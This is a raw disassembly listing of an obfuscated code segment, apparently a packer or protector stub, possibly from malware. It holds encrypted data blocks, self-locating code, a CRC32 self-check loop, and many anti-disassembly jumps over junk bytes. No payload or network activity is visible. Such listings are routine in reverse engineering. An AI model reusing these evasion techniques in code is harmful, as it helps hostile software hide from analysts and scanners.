		dd 46C85A34h, 7D694A28h, 503D02B2h, 42DA52FFh, 0E504B98Fh
		dd 2CF9A07Eh, 85716725h, 93B0CDBBh, 7C6BBCDBh, 52A8B32Dh
		dd 0CFB43CB8h, 3D3D57A6h, 0CD5C8DD1h, 8E95F5E4h, 96847C11h
		dd 4A01A3E4h, 45222C5Bh, 466832A5h, 7D829615h, 0A8FDD04Ch
		dd 5EAC38F9h, 5AF0E632h, 45FC83ACh, 0B209EDE6h,	1BBC96BFh
		dd 201A1438h, 9E99C6A2h, 0F1C1465Eh, 2E0FFAEh, 33AC5D7h
		dd 8DA542Eh, 0AD002BAEh, 30CDB1BFh, 0B858EAC7h,	0F0E77BB2h
		dd 16B5C0h, 31CBBD5Ch, 0FC884072h, 0AE75A1CFh, 3168121Ch
		dd 5EBB0829h, 342D9E3h,	0AFF9E9D0h, 8611EF4Eh, 0E8E25930h
		dd 0F2176B6Dh, 0A7EE0ED0h, 94B0A216h, 5DABE2D8h, 7A257D4Eh
		dd 62DD079Eh, 8686D7C6h, 130EE652h, 0C404D84Fh,	0D0D801F6h
		dd 13BA2B46h, 0E931484Dh, 0DE99771Ah, 0DE68C7C6h, 59D49059h
		dd 5052EC01h, 0F18EEE58h, 96A76044h, 34C3BE3h, 0AEB3ED45h
		dd 0EDD20F8Fh, 0D56BD99Dh, 58FE7BE0h, 812C5E34h, 0DC56D952h
		dd 845B6BD5h, 6373FE58h, 5973B7D6h, 14DC57D0h, 88C5B91Eh
		dd 46F1ACEDh, 9C776E5Ah, 0BC491CB6h, 7F0C3275h,	51E3FB65h
		dd 787AE6D8h, 6493A00Fh, 2E132479h, 0D2B821C3h,	0BF8F1CF4h
		dd 0DCD17045h, 0F3609D7Bh, 0F855E086h, 0E6E6F05Ah, 7C7D221Bh
		dd 44AF1D48h, 0B13C3AE7h, 0C54D4364h, 198C1249h, 0FA90F1ECh
		dd 45A57774h, 24D9341Eh, 3D98670Ah, 69A5B8BEh, 0C15ECC73h
		dd 9C9DE927h, 0A60E27A6h, 9C9A2256h, 0E973C0AEh, 0F34C5408h
		dd 0AC85E9F8h, 876B309Dh, 70AB61B1h, 4D33B09Dh,	1FA8AF30h
		dd 8492DF0h, 6BD809F2h,	6183FE55h, 0DDD8F77Bh, 2E75604Dh
		dd 383D64CAh, 0D956ACA0h, 0C0C9FB34h, 0CC8BBE2Eh, 0EAF49D6Ah
		dd 0BDBCE2A4h, 8D742E11h, 0FED27AA1h, 0C22499DAh, 28A80712h
		dd 3413028Bh, 5320A151h, 0FE3E946Ah, 0FA25233Ch, 5F8145E8h
		dd 0DB301FE3h, 0C2D1B668h, 0A4F6463Bh, 1429064Fh, 0CEDDCECEh
		dd 0C2926936h, 53D11310h, 0FC19036Ch, 64389255h, 0AC86F83Eh
		dd 0B5B50947h, 4E843591h, 0CFB695AFh, 0CB28D9B8h, 0D14FD4F9h
		dd 267981C2h, 49DC6CE3h, 0EE251A39h, 4FECD0AEh,	0B5EDBE78h
		dd 0CC73E13Ch, 59EF024Ah, 0BEB7495Bh, 0C1EA00EEh, 0AEFC7C9Ch
		dd 3C264B10h, 78EFC5F5h, 0AC168E91h, 0F3D558DBh, 21141194h
		dd 78F6CE7Ch, 938634EEh, 0BCE063E3h, 91C0A0C2h,	0D873A678h
		dd 60758FD8h, 2650CE7Ch, 0A1DFCEF5h
; ---------------------------------------------------------------------------
		mov	bh, 38h
		dec	edi


loc_46C09B:				; CODE XREF: DMN1:0046CAA1j
		push	ebp
		mov	ebp, esp
		call	$+5
		pop	ebp
		sub	ebp, 6C0A3h
		pusha
		mov	esi, 6C09Bh
		add	esi, ebp
		mov	edi, 0A04h
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx
		push	ebx


loc_46C0C3:				; CODE XREF: DMN1:0046C0ECj
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_46C0D2:				; CODE XREF: DMN1:0046C0E5j
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_46C0E3
		xor	ax, 8320h
		xor	bx, 0EDB8h


loc_46C0E3:				; CODE XREF: DMN1:0046C0D8j
		dec	dh
		jnz	short loc_46C0D2
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_46C0C3
		pop	ebx
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		push	eax
		std
		xchg	ebp, ecx
		jmp	short loc_46C116
; ---------------------------------------------------------------------------
		dw 14C1h
		dd 907C5DB2h, 40FACFF0h, 0A21BBC72h
		db 1, 80h
; ---------------------------------------------------------------------------


loc_46C116:				; CODE XREF: DMN1:0046C104j
		jmp	short loc_46C12B
; ---------------------------------------------------------------------------
		dd 0FE387B40h, 4AA90D22h, 0DED37930h, 0E40A1BBAh
		db 62h,	7Ch, 0DBh
; ---------------------------------------------------------------------------


loc_46C12B:				; CODE XREF: DMN1:loc_46C116j
		or	eax, 0FFFFFFFFh
		jmp	short loc_46C142
; ---------------------------------------------------------------------------
		dd 0DDE20AD2h, 170CE4A7h, 0EB112469h, 0F2CE5799h
; ---------------------------------------------------------------------------
		mov	bl, al


loc_46C142:				; CODE XREF: DMN1:0046C12Ej
		jmp	short loc_46C150
; ---------------------------------------------------------------------------
		xchg	eax, edx
		mov	eax, ds:2144D4ECh
		adc	eax, [edi+2373A3CAh]


loc_46C150:				; CODE XREF: DMN1:loc_46C142j
		jmp	short loc_46C158
; ---------------------------------------------------------------------------
		dw 0C4E2h
		dd 0C17A7C6Ch
; ---------------------------------------------------------------------------


loc_46C158:				; CODE XREF: DMN1:loc_46C150j
		bswap	esi
		bswap	edi
		jmp	short loc_46C173
; ---------------------------------------------------------------------------
		dw 38A3h
		dd 5D1BD2BFh, 89E94E78h, 48DAD6F0h, 0B26D4031h
		db 90h
		db 0E3h, 0B2h
; ---------------------------------------------------------------------------


loc_46C173:				; CODE XREF: DMN1:0046C15Cj
		jmp	short loc_46C183
; ---------------------------------------------------------------------------
		db 75h,	12h, 2Dh
		dd 3DE3F09Fh, 1FB3A69Ah
		db 4Bh,	69h, 0A7h
; ---------------------------------------------------------------------------


loc_46C183:				; CODE XREF: DMN1:loc_46C173j
		jmp	short loc_46C19D
; ---------------------------------------------------------------------------
		db 13h,	0A2h, 93h
		dd 46494A69h, 7AC6E27Ch, 0E66BA629h, 64E2233h, 8C35D702h
		db 7Fh
; ---------------------------------------------------------------------------


loc_46C19D:				; CODE XREF: DMN1:loc_46C183j
		jmp	short loc_46C1A4
; ---------------------------------------------------------------------------
		icebp
		ror	dword ptr [eax+1Bh], cl
		dec	ecx


loc_46C1A4:				; CODE XREF: DMN1:loc_46C19Dj
		jmp	short loc_46C1BC
; ---------------------------------------------------------------------------
		dw 0C371h
		dd 0B76A2DEFh, 509E647Dh, 0FEAB7A9Fh, 0FD683922h, 0EA5A987Dh
; ---------------------------------------------------------------------------


loc_46C1BC:				; CODE XREF: DMN1:loc_46C1A4j
		jmp	short loc_46C1DA
; ---------------------------------------------------------------------------
		dw 37F6h
		dd 7B6DB8B1h, 894F95DFh, 6FFCE117h, 50010590h, 7C310413h
		dd 84FA6211h
		db 68h,	0Ah
; ---------------------------------------------------------------------------


loc_46C1DA:				; CODE XREF: DMN1:loc_46C1BCj
		inc	eax
		jmp	short loc_46C1E7
; ---------------------------------------------------------------------------
		db 5Fh,	0A2h, 9
		dd 9F6F90F1h
		db 89h,	0ADh, 10h
; ---------------------------------------------------------------------------


loc_46C1E7:				; CODE XREF: DMN1:0046C1DBj
		jmp	short loc_46C1F5
; ---------------------------------------------------------------------------
		sbb	[ebx], eax
		db	36h
		mov	edi, 17D705DDh
		clc
		db	26h
		or	edx, edx


loc_46C1F5:				; CODE XREF: DMN1:loc_46C1E7j
		cld
		xchg	esi, ebx
		jmp	short loc_46C215
; ---------------------------------------------------------------------------
		dw 476Ah
		dd 3B0EC94Dh, 3E709ABDh, 60B876E9h, 472B9349h, 0F622FD0Bh
		dd 4FE1922Ch
		db 0A2h
; ---------------------------------------------------------------------------


loc_46C215:				; CODE XREF: DMN1:0046C1F8j
		jmp	short loc_46C224
; ---------------------------------------------------------------------------
		db 0D2h
		dd 9709715Fh, 0B199D59Dh, 0D0BEBD12h
; ---------------------------------------------------------------------------


loc_46C224:				; CODE XREF: DMN1:loc_46C215j
		stc
		jmp	short loc_46C241
; ---------------------------------------------------------------------------
		db 86h
		dd 317080D5h, 0E4499CABh, 6E20CF11h, 86FFA4D1h,	0C749C4D0h
		dd 9E4F7C0Ah
; ---------------------------------------------------------------------------
		dec	ebp


loc_46C241:				; CODE XREF: DMN1:0046C225j
		cmc
		cmc
		jmp	short loc_46C254
; ---------------------------------------------------------------------------
		mov	ch, 0F0h
		push	ecx
		test	ds:90625CF6h, cl
		xchg	ecx, [ecx-5EC2D8CEh]


loc_46C254:				; CODE XREF: DMN1:0046C243j
		jmp	short loc_46C25F
; ---------------------------------------------------------------------------
		dw 7F7Ch
		dd 841A8F97h
		db 51h,	68h, 61h
; ---------------------------------------------------------------------------


loc_46C25F:				; CODE XREF: DMN1:loc_46C254j
		xchg	ecx, ebp
		xor	eax, 41000h
		xchg	esp, ecx
		bswap	ebx
		jmp	short loc_46C27D
; ---------------------------------------------------------------------------
		db 45h,	7Fh, 0C4h
		dd 7C0BF96Eh, 5C1A57A5h, 60C02FC2h
; ---------------------------------------------------------------------------
		push	ebx


loc_46C27D:				; CODE XREF: DMN1:0046C26Bj
		mov	esi, 0ABA8h


loc_46C282:				; CODE XREF: DMN1:0046C9B6j
		test	ebx, 861D79B0h
		rcl	esp, cl
		cmc
		jmp	short loc_46C2A2
; ---------------------------------------------------------------------------
		db 0AFh, 5Eh, 24h
		dd 0A4456584h, 5F0A0A07h, 4C2F37C0h, 6C8C5A8Eh
; ---------------------------------------------------------------------------
		jns	short loc_46C2F6


loc_46C2A2:				; CODE XREF: DMN1:0046C28Bj
		jmp	short loc_46C2BE
; ---------------------------------------------------------------------------
		dd 9B8C3204h, 331876AFh, 655ECEB2h, 10AF68B5h, 0E6F88678h
		dd 5D0EB89Ch
		db 0BFh, 0CCh
; ---------------------------------------------------------------------------


loc_46C2BE:				; CODE XREF: DMN1:loc_46C2A2j
		jmp	short loc_46C2C3
; ---------------------------------------------------------------------------
		aad	51h
		stosd


loc_46C2C3:				; CODE XREF: DMN1:loc_46C2BEj
		jmp	short loc_46C2C9
; ---------------------------------------------------------------------------
		db 2Fh,	0A3h, 36h
		db 0A9h
; ---------------------------------------------------------------------------


loc_46C2C9:				; CODE XREF: DMN1:loc_46C2C3j
		cmc
		jmp	short loc_46C2E0
; ---------------------------------------------------------------------------
		dd 69B1A29Bh, 0F2F4D7CAh, 80A11926h, 349F16FCh,	0AF95B24Ch
; ---------------------------------------------------------------------------


loc_46C2E0:				; CODE XREF: DMN1:0046C2CAj
		jmp	short loc_46C2F1
; ---------------------------------------------------------------------------
		dw 0D610h
		dd 0B30F8FE7h, 6C4E5D31h, 0AE5764E2h
; ---------------------------------------------------------------------------
		inc	ebp


loc_46C2F1:				; CODE XREF: DMN1:loc_46C2E0j
		jmp	short loc_46C2F6
; ---------------------------------------------------------------------------
		db 9Ah
; ---------------------------------------------------------------------------
		pop	esp
		pop	ecx


loc_46C2F6:				; CODE XREF: DMN1:0046C2A0j
					; DMN1:loc_46C2F1j
		jmp	short loc_46C2F9
; ---------------------------------------------------------------------------
		db 44h
; ---------------------------------------------------------------------------


loc_46C2F9:				; CODE XREF: DMN1:loc_46C2F6j
					; DMN1:0046C326j
		jmp	short loc_46C30F
; ---------------------------------------------------------------------------
		db 76h
		dd 599A9E55h, 8824CF95h, 3C4973D3h, 49E6342Ah
; ---------------------------------------------------------------------------
		ja	short loc_46C354
		push	cs


loc_46C30F:				; CODE XREF: DMN1:loc_46C2F9j
		std
		jmp	short loc_46C321
; ---------------------------------------------------------------------------
		sub	bh, dh
		fdivr	st(7), st
		mul	bh
		imul	ebp, [edx-2Bh],	6061319Ah
		cmpsb
		push	ecx


loc_46C321:				; CODE XREF: DMN1:0046C310j
		xchg	edx, eax
		jmp	short loc_46C344
; ---------------------------------------------------------------------------
		dec	ebx
		jmp	short loc_46C2F9
; ---------------------------------------------------------------------------
		dd 2FFCBB14h, 4D9955CEh, 0EF10EE22h, 676954DBh,	3C9CD24Ch
		dd 7D70C724h, 0FFDADF5Bh
; ---------------------------------------------------------------------------


loc_46C344:				; CODE XREF: DMN1:0046C323j
		jmp	short loc_46C349
; ---------------------------------------------------------------------------
		stc
		neg	dword ptr [edx]


loc_46C349:				; CODE XREF: DMN1:loc_46C344j
		test	eax, 31273221h
		dec	edi
		mov	edi, ebp
		clc
		std


loc_46C354:				; CODE XREF: DMN1:0046C30Cj
		shr	eax, 26h
		std
		jmp	short loc_46C370
; ---------------------------------------------------------------------------
		xchg	eax, esp
		test	dword ptr [edi], 1F64AA87h
		mov	esp, 6CE596Eh
		fisttp	dword ptr [edx+2DC8FE01h]
		scasb
		lahf
		dec	esp
		xchg	eax, ebp


loc_46C370:				; CODE XREF: DMN1:0046C358j
		xchg	eax, ebx
		jmp	short loc_46C379
; ---------------------------------------------------------------------------
		dd 0E7549963h
; ---------------------------------------------------------------------------
		stosd


loc_46C379:				; CODE XREF: DMN1:0046C372j
		jmp	short loc_46C38F
; ---------------------------------------------------------------------------
		db 2Ah
		dd 304748D2h, 0BE73857Ah, 62192C82h, 86CB6EBCh
		db 87h,	0A4h, 0B3h
; ---------------------------------------------------------------------------


loc_46C38F:				; CODE XREF: DMN1:loc_46C379j
		cld
		xchg	esi, ebp
		xchg	esp, esp
		jmp	short loc_46C3A0
; ---------------------------------------------------------------------------
		dw 5B5Ah
		dd 0FB5A375Ch, 30F9677Fh
; ---------------------------------------------------------------------------


loc_46C3A0:				; CODE XREF: DMN1:0046C394j
		jmp	short loc_46C3A4
; ---------------------------------------------------------------------------
		dw 968Ch
; ---------------------------------------------------------------------------


loc_46C3A4:				; CODE XREF: DMN1:loc_46C3A0j
		jmp	short loc_46C3C2
; ---------------------------------------------------------------------------
		dw 7AE0h
		dd 0FAE2272Bh, 33A956A8h, 0BEF42264h, 915507B3h, 92158024h
		dd 959AD465h
		db 91h,	0E7h
; ---------------------------------------------------------------------------


loc_46C3C2:				; CODE XREF: DMN1:loc_46C3A4j
		jmp	short loc_46C3C6
; ---------------------------------------------------------------------------
		adc	al, 0ABh


loc_46C3C6:				; CODE XREF: DMN1:loc_46C3C2j
		add	edi, edx
		test	ebx, 0FE2F3D93h
		jmp	short loc_46C3EE
; ---------------------------------------------------------------------------
		dd 5534FE0Bh, 627D3EC8h, 0EB2D6AF3h, 0C60AA2BBh, 4FC90441h
		dd 7D435DE4h, 3A901071h
		db 0E0h, 0FBh
; ---------------------------------------------------------------------------


loc_46C3EE:				; CODE XREF: DMN1:0046C3CEj
		xchg	esi, esp
		jmp	short loc_46C406
; ---------------------------------------------------------------------------
		dw 0BC8Fh
		dd 2CBA85A3h, 0B2F1D041h, 695FBFC7h, 0A31E9EC8h
; ---------------------------------------------------------------------------
		das
		pop	ss


loc_46C406:				; CODE XREF: DMN1:0046C3F0j
		xchg	ebp, edi
		and	eax, 5A46920h
		jmp	short loc_46C425
; ---------------------------------------------------------------------------
		dd 702978F4h, 5B1DE1DFh, 8BEB748Dh, 0E82DE6ABh,	52E5617Bh
; ---------------------------------------------------------------------------
		inc	ecx


loc_46C425:				; CODE XREF: DMN1:0046C40Ej
		jmp	short loc_46C42B
; ---------------------------------------------------------------------------
		align 4
		db 31h,	52h, 2Ah
; ---------------------------------------------------------------------------


loc_46C42B:				; CODE XREF: DMN1:loc_46C425j
		mov	esi, [ebp+0]
		xchg	ecx, eax
		stc
		cld
		jmp	short loc_46C44A
; ---------------------------------------------------------------------------
		dd 0B3406129h, 95EB66E1h, 9950DBD0h, 50D3BC39h,	514B513Eh
		db 79h,	97h
; ---------------------------------------------------------------------------


loc_46C44A:				; CODE XREF: DMN1:0046C432j
		jmp	short loc_46C454
; ---------------------------------------------------------------------------
		dd 908EBEEEh, 0AF212D4Fh
; ---------------------------------------------------------------------------


loc_46C454:				; CODE XREF: DMN1:loc_46C44Aj
		inc	ebp
		jmp	short loc_46C462
; ---------------------------------------------------------------------------
		db 0E1h
		dd 430A7283h, 949C81E8h
		db 68h,	3Dh
; ---------------------------------------------------------------------------


loc_46C462:				; CODE XREF: DMN1:0046C455j
		clc
		jmp	short loc_46C46F
; ---------------------------------------------------------------------------
		align 2
		dw 0A0AEh
; ---------------------------------------------------------------------------
		mov	edi, 0E80A8817h
		inc	edx
		dec	ebp


loc_46C46F:				; CODE XREF: DMN1:0046C463j
		jmp	short loc_46C489
; ---------------------------------------------------------------------------
		db 26h,	0C1h, 8Ch
		dd 0AE945713h, 2ED7F4E1h, 0F050809Dh, 0A2FA39E4h, 0DEF8969Bh
		db 0E9h
; ---------------------------------------------------------------------------


loc_46C489:				; CODE XREF: DMN1:loc_46C46Fj
		xchg	eax, eax
		jmp	short loc_46C4A7
; ---------------------------------------------------------------------------
		test	al, 8Fh
		daa
		adc	eax, 352EC7AEh
		or	bl, [ebp+1AEDB97h]
		push	ebx
		sbb	ah, 64h
		xor	esp, [eax+756A6C76h]
		xor	al, 28h


loc_46C4A7:				; CODE XREF: DMN1:0046C48Bj
		jmp	short loc_46C4BD
; ---------------------------------------------------------------------------
		db 8, 0C4h, 99h
		dd 0C39054E8h, 1CB5D51Ah, 0B639AECFh, 599ACA4Fh
; ---------------------------------------------------------------------------
		xchg	eax, ebp


loc_46C4BD:				; CODE XREF: DMN1:loc_46C4A7j
		test	ebp, 0C6DA2209h
		xor	esi, [eax]
		or	ebp, 121B0C55h
		xchg	ecx, ebp
		xchg	edx, esp
		jmp	short $+2
		jmp	short loc_46C4EC
; ---------------------------------------------------------------------------
		db 0E0h
		dd 2867185Fh, 13072B6Ah, 696C114Ch, 0F3B28371h,	7B447BEEh
		dd 7CDCD98h
; ---------------------------------------------------------------------------


loc_46C4EC:				; CODE XREF: DMN1:0046C4D1j
		jmp	short loc_46C50D
; ---------------------------------------------------------------------------
		dw 778Bh
		dd 0AC46175h, 0ECC4676Fh, 24C16AC3h, 0C0CD57E7h, 0D159271Ch
		dd 0E64CE7EBh, 175DD847h
		db 36h
; ---------------------------------------------------------------------------


loc_46C50D:				; CODE XREF: DMN1:loc_46C4ECj
		sar	ecx, 3Fh
		jmp	short loc_46C529
; ---------------------------------------------------------------------------
		db 90h
		db 6Ah
		dd 511D032h, 8E00AFA2h,	0AD3B83D6h, 9E84B71h, 0F1608CE1h
		db 8Ah
; ---------------------------------------------------------------------------


loc_46C529:				; CODE XREF: DMN1:0046C510j
		dec	ebp
		jmp	short loc_46C538
; ---------------------------------------------------------------------------
		dd 4C9854Ah, 0D1237CB2h, 1D5A7B46h
; ---------------------------------------------------------------------------


loc_46C538:				; CODE XREF: DMN1:0046C52Aj
		xchg	ebp, ecx
		neg	ecx
		jmp	short loc_46C556
; ---------------------------------------------------------------------------
		dw 864Eh
		dd 0A4A4C051h, 0AE9A74EAh, 4D2DA50Eh, 5D8BFC4Eh, 60492C0Bh
		db 0C2h, 93h
; ---------------------------------------------------------------------------


loc_46C556:				; CODE XREF: DMN1:0046C53Cj
		jmp	short loc_46C572
; ---------------------------------------------------------------------------
		dd 0B0708649h, 0A653704Eh, 6F247E53h, 251C59A7h, 0A195C666h
		dd 82120E86h
		db 0F2h, 0A3h
; ---------------------------------------------------------------------------


loc_46C572:				; CODE XREF: DMN1:loc_46C556j
		jmp	short $+2
		xchg	esi, [eax]
		jmp	short loc_46C597
; ---------------------------------------------------------------------------
		dd 166A9EDh, 0C229F78h,	6866FDFBh, 0FF50C517h, 585A625Ch
		dd 74EBFF2Dh, 115966D4h
		db 77h,	0BDh, 0CCh
; ---------------------------------------------------------------------------


loc_46C597:				; CODE XREF: DMN1:0046C576j
		jmp	short loc_46C5AE
; ---------------------------------------------------------------------------
		pop	ds
		xchg	eax, edi
		push	edi
		or	cl, [eax]
		lodsd
		or	bh, dl
		jbe	short near ptr byte_46C5A9
		daa
		retf	7E10h
; ---------------------------------------------------------------------------
		db 0F2h
		db 74h
byte_46C5A9	db 0D3h, 9Bh, 0CEh	; CODE XREF: DMN1:0046C5A1j
		db 6, 34h
; ---------------------------------------------------------------------------


loc_46C5AE:				; CODE XREF: DMN1:loc_46C597j
		not	ebp
		sub	esi, 0D9FCF406h
		clc
		shl	ebp, 0F6h
		xchg	edx, ebp
		ror	esi, 1
		inc	ecx
		jmp	short $+2
		cld
		dec	ecx
		jmp	short loc_46C5CD
; ---------------------------------------------------------------------------
		or	ecx, [edx-23h]
		mov	esp, 0C4797307h


loc_46C5CD:				; CODE XREF: DMN1:0046C5C3j
		jmp	short loc_46C5D1
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		pusha


loc_46C5D1:				; CODE XREF: DMN1:loc_46C5CDj
		jmp	short loc_46C5D7
; ---------------------------------------------------------------------------
		db 60h
		db 0A3h, 99h, 21h
; ---------------------------------------------------------------------------


loc_46C5D7:				; CODE XREF: DMN1:loc_46C5D1j
		test	ecx, 0CE416FA5h
		jmp	short loc_46C5FE
; ---------------------------------------------------------------------------
		db 41h
		dd 2B0F9E5h, 0A55181C2h, 99466214h, 89C128EBh, 5BAACE2Ah
		dd 5AF96419h, 5AA02A2Eh
		db 27h,	77h
; ---------------------------------------------------------------------------


loc_46C5FE:				; CODE XREF: DMN1:0046C5DDj
		jmp	short loc_46C619
; ---------------------------------------------------------------------------
		dd 0BFF774CDh, 4C197150h, 6D132FCBh, 90A322B3h,	5AE1E820h
		dd 2085D482h
		db 0EAh
; ---------------------------------------------------------------------------


loc_46C619:				; CODE XREF: DMN1:loc_46C5FEj
		cmc
		xchg	esp, ecx
		jmp	short loc_46C624
; ---------------------------------------------------------------------------
		dw 0A407h
		db 90h
		db 0E1h, 36h, 87h
; ---------------------------------------------------------------------------


loc_46C624:				; CODE XREF: DMN1:0046C61Cj
		xchg	esp, esi


loc_46C626:				; CODE XREF: DMN1:0046C659j
		xchg	esp, [eax]
		jmp	short loc_46C636
; ---------------------------------------------------------------------------
		dw 90D1h
		dd 0EFBCF3DCh, 8B353DBBh
; ---------------------------------------------------------------------------
		fldcw	word ptr [ebx]


loc_46C636:				; CODE XREF: DMN1:0046C628j
		bswap	ebx
		jmp	short loc_46C651
; ---------------------------------------------------------------------------
		dw 7B3Fh
		dd 0B286041Eh, 0F4580ACFh, 3EBE996Bh, 0A6211D2Ch, 0F2ACD24h
		db 0B3h
; ---------------------------------------------------------------------------


loc_46C651:				; CODE XREF: DMN1:0046C638j
		jmp	short loc_46C657
; ---------------------------------------------------------------------------
		db 55h
		db 17h,	0DCh, 52h
; ---------------------------------------------------------------------------


loc_46C657:				; CODE XREF: DMN1:loc_46C651j
		jmp	short loc_46C662
; ---------------------------------------------------------------------------
		jmp	short loc_46C626
; ---------------------------------------------------------------------------
		db 2Eh
; ---------------------------------------------------------------------------
		popa
		pushf
		retn	3E9Ah
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_46C662:				; CODE XREF: DMN1:loc_46C657j
		jmp	short loc_46C668
; ---------------------------------------------------------------------------
		dd 0F349F032h
; ---------------------------------------------------------------------------


loc_46C668:				; CODE XREF: DMN1:loc_46C662j
		jmp	short loc_46C67A
; ---------------------------------------------------------------------------
		sbb	al, 41h
		mov	ds:0F125E09h, eax
		div	byte ptr [eax]


loc_46C673:				; CODE XREF: DMN1:0046C67Dj
		push	edx
		ror	dword ptr [edi+63D548DBh], 1


loc_46C67A:				; CODE XREF: DMN1:loc_46C668j
		jmp	short loc_46C68B
; ---------------------------------------------------------------------------
		dec	ecx
		jb	short loc_46C673
		add	byte ptr [eax+7Bh], 61h
		adc	edi, [esp+edx*2-5B4D42A1h]
		push	cs


loc_46C68B:				; CODE XREF: DMN1:loc_46C67Aj
		jmp	short loc_46C691
; ---------------------------------------------------------------------------
		db 83h,	29h, 73h
		db 0A0h
; ---------------------------------------------------------------------------


loc_46C691:				; CODE XREF: DMN1:loc_46C68Bj
		jmp	short loc_46C6A0
; ---------------------------------------------------------------------------
		db 93h
		dd 1595503Eh, 0FA46092Bh, 57D37C73h
; ---------------------------------------------------------------------------


loc_46C6A0:				; CODE XREF: DMN1:loc_46C691j
		jmp	short loc_46C6B1
; ---------------------------------------------------------------------------
		dw 0E997h
; ---------------------------------------------------------------------------
		xlat
		push	ecx
		pop	dword ptr [eax+ebx*8]
		retn	7F39h
; ---------------------------------------------------------------------------
		pushf
		inc	esi
		mov	ch, 41h
		xchg	eax, edi


loc_46C6B1:				; CODE XREF: DMN1:loc_46C6A0j
		jmp	short loc_46C6BB
; ---------------------------------------------------------------------------
		db 4Ch
		dd 2A769836h
		db 99h,	63h, 1Ch
; ---------------------------------------------------------------------------


loc_46C6BB:				; CODE XREF: DMN1:loc_46C6B1j
		jmp	short loc_46C6C4
; ---------------------------------------------------------------------------
		db 0D5h, 0F7h, 2Ch
; ---------------------------------------------------------------------------
		ror	dword ptr [edx], 19h


loc_46C6C4:				; CODE XREF: DMN1:loc_46C6BBj
		xchg	edi, edi
		mov	ebx, ebp
		not	edx
		jmp	short loc_46C6DB
; ---------------------------------------------------------------------------
		dd 14E81F79h, 1C41FB1Eh, 44865EBAh
		db 0CFh, 53h, 0CFh
; ---------------------------------------------------------------------------


loc_46C6DB:				; CODE XREF: DMN1:0046C6CAj
		xchg	edi, ecx
		jmp	short loc_46C6F4
; ---------------------------------------------------------------------------
		db 0BCh
		dd 7B77C92Ch, 272F97BCh, 0B3F0D57Ah, 0A83563F7h, 4088FCC6h
; ---------------------------------------------------------------------------


loc_46C6F4:				; CODE XREF: DMN1:0046C6DDj
		jmp	short loc_46C702
; ---------------------------------------------------------------------------
		dw 916Ah
		dd 93695E41h, 0D84D190Ah
		db 17h,	0FFh
; ---------------------------------------------------------------------------


loc_46C702:				; CODE XREF: DMN1:loc_46C6F4j
		jmp	short loc_46C709
; ---------------------------------------------------------------------------
		dd 65C717B7h
		db 71h
; ---------------------------------------------------------------------------


loc_46C709:				; CODE XREF: DMN1:loc_46C702j
		jmp	short loc_46C721
; ---------------------------------------------------------------------------
		db 7Ah
		dd 452FE563h, 8EDF4060h, 0C7ED22E7h, 6C61106Bh,	0E2C3DBF2h
		db 0C4h
; ---------------------------------------------------------------------------


loc_46C721:				; CODE XREF: DMN1:loc_46C709j
		jmp	short loc_46C738
; ---------------------------------------------------------------------------
		pop	ebx
		mov	[edi-73CA1BBBh], al
		sbb	byte ptr [ebx-5E625356h], 6Dh
		mov	es, word ptr [esi]
		mov	edx, 0EEF5256Fh


loc_46C738:				; CODE XREF: DMN1:loc_46C721j
		cld
		jmp	short loc_46C748
; ---------------------------------------------------------------------------
		db 70h
		dd 0C0CFE3FAh, 3BE48076h, 1B6CA66Dh
; ---------------------------------------------------------------------------


loc_46C748:				; CODE XREF: DMN1:0046C739j
		xchg	edx, edi
		jmp	short loc_46C762
; ---------------------------------------------------------------------------
		pop	edi
		jb	short loc_46C782
		mov	bh, 0ECh
		or	al, 5Ch
		sub	edx, [edx+68A9EE39h]
		shr	esi, 1
		cmp	ch, [esi-49h]
		adc	cl, [esi+1Fh]


loc_46C762:				; CODE XREF: DMN1:0046C74Aj
		jmp	short loc_46C77B
; ---------------------------------------------------------------------------
		dd 3ECF01F9h, 9C380C89h, 0FA1D6304h, 89E042E8h,	0EFC28AEFh
		db 8Dh,	0F1h, 3Dh
; ---------------------------------------------------------------------------


loc_46C77B:				; CODE XREF: DMN1:loc_46C762j
		add	ebx, edx
		xchg	eax, edi
		jmp	short loc_46C796
; ---------------------------------------------------------------------------
		db 39h
; ---------------------------------------------------------------------------


loc_46C782:				; CODE XREF: DMN1:0046C74Dj
		call	far ptr	4A23h:383D1087h
		or	ecx, 1Ch
		outsd
		push	esp
		xor	byte ptr [ebx+28D6B92h], 0Bh
; ---------------------------------------------------------------------------
		db 0B4h
; ---------------------------------------------------------------------------


loc_46C796:				; CODE XREF: DMN1:0046C77Fj
		mov	[ebx], esp
		jmp	short loc_46C7B7
; ---------------------------------------------------------------------------
		dw 2017h
		dd 557ED52Ah, 694CDFC8h, 1D857DADh, 0D65A439Ah,	83475F65h
		dd 703AF3BFh
		db 0A1h, 92h, 0E4h
; ---------------------------------------------------------------------------


loc_46C7B7:				; CODE XREF: DMN1:0046C798j
		std
		jmp	short loc_46C7D8
; ---------------------------------------------------------------------------
		dw 0D360h
		dd 7CBB20h, 62EE5B82h, 0E7509DF5h, 0CCFC75F6h, 0AB6B15DFh
		dd 8EAA1E9Eh, 128917B9h
; ---------------------------------------------------------------------------


loc_46C7D8:				; CODE XREF: DMN1:0046C7B8j
		jmp	short loc_46C7E1
; ---------------------------------------------------------------------------
		and	[eax], cl
		mov	ah, 8Fh
		add	edx, [ebx]


loc_46C7E1:				; CODE XREF: DMN1:loc_46C7D8j
		test	ebx, 13723F9Ch
		clc
		stc
		inc	edx
		jmp	short loc_46C801
; ---------------------------------------------------------------------------
		dd 686AB88Fh, 0E904CCF7h, 4B68FE6h, 0D33599A1h,	0ACC99088h
		db 8Fh
; ---------------------------------------------------------------------------


loc_46C801:				; CODE XREF: DMN1:0046C7EAj
		xchg	esp, esi
		jmp	short loc_46C816
; ---------------------------------------------------------------------------
		db 6Eh,	48h, 0EAh
; ---------------------------------------------------------------------------
		pushf
		cmp	[ecx-272BC1D5h], al
		retn
; ---------------------------------------------------------------------------
		dd 47C73FB8h
		db 6Dh,	0B5h
